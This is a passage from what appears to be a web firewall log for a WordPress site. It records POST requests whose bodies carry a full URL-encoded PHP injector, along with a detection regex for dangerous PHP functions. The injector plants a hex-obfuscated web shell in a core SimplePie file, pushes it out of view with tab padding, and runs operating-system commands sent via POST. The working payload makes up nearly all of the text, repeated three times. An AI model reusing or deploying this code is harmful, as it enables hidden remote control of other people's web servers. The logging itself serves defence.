2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:39:37","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqRHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:6078\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nupgrade-insecure-requests:1\n\ntE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:39:39","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\naccept:*\/*\ncontent-length:6101\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
